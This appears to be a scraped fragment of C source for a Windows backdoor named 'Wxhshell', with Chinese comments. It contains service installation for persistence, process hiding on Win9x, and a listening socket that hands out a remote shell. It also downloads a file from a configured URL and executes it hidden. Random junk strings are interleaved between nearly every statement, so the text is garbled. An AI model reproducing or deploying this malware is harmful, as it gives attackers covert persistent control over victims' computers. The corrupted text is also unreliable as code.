hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ae9k[=- if(hProcess==NULL) return 0; #+2:d?t [[Jv)?jm HMODULE hMod; +X2 i/} char procName[255]; k1QpX@ unsigned long cbNeeded; /xX,
i_oro"%yL if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;-Y]X(z> mh!N^[=n CloseHandle(hProcess); W TXD4} ZNL;8sI?> if(strstr(procName,"services")) return 1; // 以服务启动 *@$($<pY& #z-iL!? return 0; // 注册表启动 V7KtbL# } ($[r>)TG #Tgz,e9 // 主模块 )7Ho n int StartWxhshell(LPSTR lpCmdLine) "NXm\`8 { [9YlLL@ SOCKET wsl; jm#F*F vL BOOL val=TRUE; Q G=-LXv:@ int port=0; ,q'gG`M
N struct sockaddr_in door; VOowA^ !}Woo$#ND if(wscfg.ws_autoins) Install(); *pS7/Qe e"v[)b++Y port=atoi(lpCmdLine); 5'{qEZs^QU :*F3 if(port<=0) port=wscfg.ws_port; PpJE|[] V,|Bzcz WSADATA data; \>aa8LOe if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^2Fs)19R &<fRej]v if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !~w6"%2+7 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?@g;[310` door.sin_family = AF_INET; #+k.b_LS door.sin_addr.s_addr = inet_addr("127.0.0.1"); &}L36|A: door.sin_port = htons(port); Eezlx9b \M'bY: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V{AH\IV- closesocket(wsl); r0hta)xa return 1; Je4.9?Ch } b.%B;qB @kCD. if(listen(wsl,2) == INVALID_SOCKET) { f!uA$uLc closesocket(wsl); 0T{c:m~QXe return 1; VFO&)E/- } ]U^d 1&k Wxhshell(wsl); **w*hd] WSACleanup(); sBuq SG+i\yu$h0 return 0; q.,p6D \/x)BE, } 6ljRV) ELkOrV~a{: // 以NT服务方式启动 qqz,~EhC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HhY2`P8 {
;f ;*Q>! DWORD status = 0; p.TiTFu/ DWORD specificError = 0xfffffff; yTq(x4] kj<D 4) serviceStatus.dwServiceType = SERVICE_WIN32; iEJQ#5))0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; wCC~tuTpr serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :)+@qxTy serviceStatus.dwWin32ExitCode = 0; )kY_"= d serviceStatus.dwServiceSpecificExitCode = 0; 23u1nU[0 serviceStatus.dwCheckPoint = 0; BhE~k?$9 serviceStatus.dwWaitHint = 0; # 1qVFU b/n8UxA hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `
HE:D2b if (hServiceStatusHandle==0) return; b0z{"
$jm>tW&; status = GetLastError(); u{{xnyl? if (status!=NO_ERROR) #iqhm,u7D { yOn2}Z serviceStatus.dwCurrentState = SERVICE_STOPPED; ad3z]dUZ9 serviceStatus.dwCheckPoint = 0; q$u\
q. serviceStatus.dwWaitHint = 0; beHCEwh serviceStatus.dwWin32ExitCode = status; G(|(y=ck serviceStatus.dwServiceSpecificExitCode = specificError; bh;b`
5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); xn x1`|1u return; ]\9B?W(# } OL
]T+6X SFk11 serviceStatus.dwCurrentState = SERVICE_RUNNING; `9Q,=D+ serviceStatus.dwCheckPoint = 0; \Zz= 4
j serviceStatus.dwWaitHint = 0; 8a$jO+UvN if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lA
Ck$E } x}8T[ sKG~<8M} // 处理NT服务事件,比如:启动、停止 i37a}.; VOID WINAPI NTServiceHandler(DWORD fdwControl) ]stLC; nI { VqO<+~M,E switch(fdwControl) A*26' { +VpE-X=T case SERVICE_CONTROL_STOP: @IyH(J],h serviceStatus.dwWin32ExitCode = 0; {, *Y serviceStatus.dwCurrentState = SERVICE_STOPPED; 4k&O-70y4^ serviceStatus.dwCheckPoint = 0; !Bd*
L~D serviceStatus.dwWaitHint = 0; CXP $bt} { Q3'B$,3O^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); IIt^e#s& } (.XDf3 return; tm36Lw case SERVICE_CONTROL_PAUSE: b\|p serviceStatus.dwCurrentState = SERVICE_PAUSED; "/K&qj break; w<F;&';@h case SERVICE_CONTROL_CONTINUE: )zLS,/pk^ serviceStatus.dwCurrentState = SERVICE_RUNNING; 6<Pg>Bg break; + x;ML case SERVICE_CONTROL_INTERROGATE: 5N3!!FFE break; HfeflGme* }; I.\f0I'. SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2}#wdJ` } feq6!k7 kx:lk+Tx // 标准应用程序主函数 W!4V:(T int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A7,$y!D { 2p;}wYt n.qxxzEN // 获取操作系统版本
Z"%O&O OsIsNt=GetOsVer(); ;R|#ae@ GetModuleFileName(NULL,ExeFile,MAX_PATH); ~:b:_ 5" $8T|r+< // 从命令行安装 r dG2| Tp if(strpbrk(lpCmdLine,"iI")) Install(); <iprPk D15u1A // 下载执行文件 _d=&9d#=\ if(wscfg.ws_downexe) { `=l{kBZT| if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \A\yuJ= WinExec(wscfg.ws_filenam,SW_HIDE); (R*jt,x } zQj%ds: {7~ $$AR( if(!OsIsNt) { 5iI3u 7Mn1 // 如果时win9x,隐藏进程并且设置为注册表启动 .bBQhf.&" HideProc(); ]pP2c[; StartWxhshell(lpCmdLine); 'St= izhd } =&b$W/l)0 else <%#y^_ if(StartFromService()) e}4^N1'd/ // 以服务方式启动 .5CELtR StartServiceCtrlDispatcher(DispatchTable); #M9D"
<pn} else #m$% S%s // 普通方式启动 K,,@', StartWxhshell(lpCmdLine); ZM^;%( T[[ return 0; 8OtUY}R }
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